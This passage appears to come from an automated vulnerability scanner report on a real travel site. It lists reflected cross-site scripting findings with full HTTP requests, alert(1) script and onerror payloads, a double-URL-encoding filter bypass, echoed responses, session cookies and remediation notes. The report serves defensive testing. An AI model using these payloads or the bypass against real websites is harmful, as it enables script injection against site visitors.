HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:02:42 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=f30fdbd37603d13d93b02f983b16e37a; path=/
Connection: close
Content-Type: text/html
Content-Length: 24812

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="http://www.tripreport.com/resort/France//Courchevel?e0a49"><img src=a onerror=alert(1)>ff3b3d9da31=1" target="_blank">
...[SNIP]...

2.9. http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Resorts/France/Ski+Resorts/Courchevel

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 488a5%253cscript%253ealert%25281%2529%253c%252fscript%253e8242afb6c20 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 488a5<script>alert(1)</script>8242afb6c20 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Resorts/France/Ski+Resorts/Courchevel?488a5%253cscript%253ealert%25281%2529%253c%252fscript%253e8242afb6c20=1 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:04:46 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Vary: User-Agent,Accept,Accept-Encoding
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=fa24b163169a8e3f9e3723a1a66aa872; path=/
Content-Type: text/html
Content-Length: 24919

<script>
   function ShowHideAdd(val)
   {
       document.getElementById('add_tips_div').style.display = '';    
   }
   
   function ShowHideRestaurant()
   {
       document.getElementById('tripreport_restaurant_tips_div')
...[SNIP]...
<a href="http://www.tripreport.com/resort/France//Courchevel?488a5%3cscript%3ealert%281%29%3c%2fscript%3e8242afb6c20=1" target="_blank">
       See all Courchevel?488a5<script>alert(1)</script>8242afb6c20=1 holiday reviews
   </a>
...[SNIP]...

2.10. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de689"><script>alert(1)</script>cea026d74e5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Travelguide/Countriesde689"><script>alert(1)</script>cea026d74e5/France/Regions/Ski+Resorts HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:16:00 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Content-Type: text/html
Content-Length: 17893


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<a href="/Travelguide/Countriesde689"><script>alert(1)</Script>cea026d74e5">
...[SNIP]...

2.11. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload c02ea<img%20src%3da%20onerror%3dalert(1)>3e31df83b1 was submitted in the REST URL parameter 4. This input was echoed as c02ea<img src=a onerror=alert(1)>3e31df83b1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /Travelguide/Countries/France/Regionsc02ea<img%20src%3da%20onerror%3dalert(1)>3e31df83b1/Ski+Resorts HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 22:17:06 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Content-Type: text/html
Content-Length: 37582


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<a href="http://www.wordtravels.com/forum/">Got a question or comment about Regionsc02ea<img src=a onerror=alert(1)>3e31df83b1 in France? Ask a Travel Expert!</a>
...[SNIP]...

2.12. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 3]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d627%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e33c4fb292c8 was submitted in the REST URL parameter 3. This input was echoed as 6d627"><script>alert(1)</script>33c4fb292c8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Travelguide/Countries/France6d627%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e33c4fb292c8/Regions/Ski+Resorts HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:16:21 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Content-Type: text/html
Content-Length: 106204


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<img src="http://www.wordtravels.com/dbpics/countries/France6d627"><script>alert(1)</script>33c4fb292c8/thumbs/7colouredearth_JUL09.jpg" />
...[SNIP]...

2.13. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 3]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload ab788%253cscript%253ealert%25281%2529%253c%252fscript%253e711b1b3c52a was submitted in the REST URL parameter 3. This input was echoed as ab788<script>alert(1)</script>711b1b3c52a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Travelguide/Countries/Franceab788%253cscript%253ealert%25281%2529%253c%252fscript%253e711b1b3c52a/Regions/Ski+Resorts HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:16:42 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Content-Type: text/html
Content-Length: 105880


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<a href="/Travelguide/Countries/Franceab788%3Cscript%3Ealert%281%29%3C%2Fscript%3E711b1b3c52a">Franceab788<script>alert(1)</script>711b1b3c52a Travel Guide</a>
...[SNIP]...

2.14. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 5]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d14b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8f417576ab5 was submitted in the REST URL parameter 5. This input was echoed as 4d14b"><script>alert(1)</script>8f417576ab5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Travelguide/Countries/France/Regions/Ski+Resorts4d14b%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8f417576ab5 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:17:50 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Content-Type: text/html
Content-Length: 121339


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<meta name="description" content="Travel guide to Ski Resorts4d14b"><script>alert(1)</script>8f417576ab5 - France, travel guide, sightseeing, hotels, holiday, vacation, flights, tour guide">
...[SNIP]...

2.15. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 5]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as plain text between tags. The payload 8f921%253cscript%253ealert%25281%2529%253c%252fscript%253e0925f7ce0ad was submitted in the REST URL parameter 5. This input was echoed as 8f921<script>alert(1)</script>0925f7ce0ad in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Travelguide/Countries/France/Regions/Ski+Resorts8f921%253cscript%253ealert%25281%2529%253c%252fscript%253e0925f7ce0ad HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:18:50 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Connection: close
Content-Type: text/html
Content-Length: 121263


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<a href="">Ski Resorts8f921<script>alert(1)</script>0925f7ce0ad Travel Guide</a>
...[SNIP]...

2.16. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [REST URL parameter 5]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The value of REST URL parameter 5 is copied into the HTML document as text between TITLE tags. The payload 509ef%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7d1907bb529 was submitted in the REST URL parameter 5. This input was echoed as 509ef</title><script>alert(1)</script>7d1907bb529 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Travelguide/Countries/France/Regions/Ski+Resorts509ef%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7d1907bb529 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:20:50 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Content-Type: text/html
Content-Length: 121467


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<title>Ski Resorts509ef</title><script>alert(1)</script>7d1907bb529 Travel Guide, France, Ski Resorts509ef</title>
...[SNIP]...

2.17. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2f31%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e098b09412f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as d2f31"><script>alert(1)</script>098b09412f3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Travelguide/Countries/France/Regions/Ski+Resorts?d2f31%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e098b09412f3=1 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:11:54 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Content-Type: text/html
Content-Length: 121429


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<meta name="description" content="Travel guide to Ski Resorts?d2f31"><script>alert(1)</script>098b09412f3=1 - France, travel guide, sightseeing, hotels, holiday, vacation, flights, tour guide">
...[SNIP]...

2.18. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as text between TITLE tags. The payload aa173%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4720471d5b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as aa173</title><script>alert(1)</script>4720471d5b3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Travelguide/Countries/France/Regions/Ski+Resorts?aa173%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4720471d5b3=1 HTTP/1.1
Host: www.wordtravels.com
Proxy-Connection: keep-alive
Referer: http://www.wordtravels.com/Resorts/France/Ski+Resorts/Courchevel
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=e64d51e027f1a306a515203241dc8058; adnet_sess_id=Hm8hcq1RpSwdECnU; __utmb=111812354; __utmc=111812354; __utma=111812354.373991425.1297288590.1297288590.1297288590.1; __utmz=111812354.1297288592.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 09 Feb 2011 22:15:16 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-transform
Vary: User-Agent,Accept,Accept-Encoding
Location: http://wordtravels.com
Content-Type: text/html
Content-Length: 121557


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <link rel="icon" href="/favico
...[SNIP]...
<title>Ski Resorts?aa173</title><script>alert(1)</script>4720471d5b3=1 Travel Guide, France, Ski Resorts?aa173</title>
...[SNIP]...

2.19. http://www.wordtravels.com/Travelguide/Countries/France/Regions/Ski+Resorts [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wordtravels.com
Path:   /Travelguide/Countries/France/Regions/Ski+Resorts

Issue detail

